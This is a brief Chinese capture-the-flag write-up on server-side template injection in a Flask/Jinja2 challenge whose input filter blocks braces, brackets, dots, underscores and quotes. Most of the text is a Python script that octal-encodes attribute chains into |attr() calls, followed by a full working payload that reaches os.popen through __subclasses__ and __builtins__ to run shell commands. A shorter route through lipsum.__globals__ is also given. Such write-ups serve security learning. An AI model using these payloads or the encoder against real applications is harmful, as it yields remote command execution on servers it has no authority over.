题目链接
提示传递/test?url=
尝试发现{{}}, [], ., _,''
等都被禁用
那么可以通过|attr()
加上编码(我这里用的八进制,也可以十六进制或unicode)来构造
构造脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| import re def str2oct(s): res = [oct(ord(i)) for i in s] res = ''.join(res).replace("0o", "\\") return res
def str2attr(t): t = re.sub(r'[[][\'"](.*?)[\'"][]]', r'.get("\1")', t) t = re.sub(r'[[](\d+)[]]', r'.__getitem__(\1)', t) tt = t.split('.') tt.pop(0) print(tt) res = '' for i in tt: idx = i.find('(') idx2 = i.find(')') if idx == -1: idx = len(i) idx2 = idx
tmp = i[idx:idx2+1] if '(' in tmp and ('"' in tmp or "'" in tmp): tmp = tmp.strip('(').strip(')').strip('"').strip("'") tmp = f'("{str2oct(tmp)}")' res += f'|attr("{str2oct(i[:idx])}"){tmp}' tmp = i[idx2+1:] if '(' in tmp and ('"' in tmp or "'" in tmp): tmp = tmp.strip('(').strip(')').strip('"').strip("'") tmp = f'("{str2oct(tmp)}")' res += tmp print(res) txt = '.__class__.__base__.__subclasses__()[100].__init__.__globals__["__builtins__"]["__import__"]("os").popen("ls").read()' str2attr(txt)
|
1
| /test?url={%print("a"|attr("\137\137\143\154\141\163\163\137\137")|attr("\137\137\142\141\163\145\137\137")|attr("\137\137\163\165\142\143\154\141\163\163\145\163\137\137")()|attr("\137\137\147\145\164\151\164\145\155\137\137")(100)|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")|attr("\147\145\164")("\137\137\142\165\151\154\164\151\156\163\137\137")|attr("\147\145\164")("\137\137\151\155\160\157\162\164\137\137")("\157\163")|attr("\160\157\160\145\156")("ls")|attr("\162\145\141\144")())%}
|
或者也可以直接用flask中的 lipsum方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块
1 2 3
| txt = '.__globals__.get("os").popen("ls").read()' str2attr(txt)
|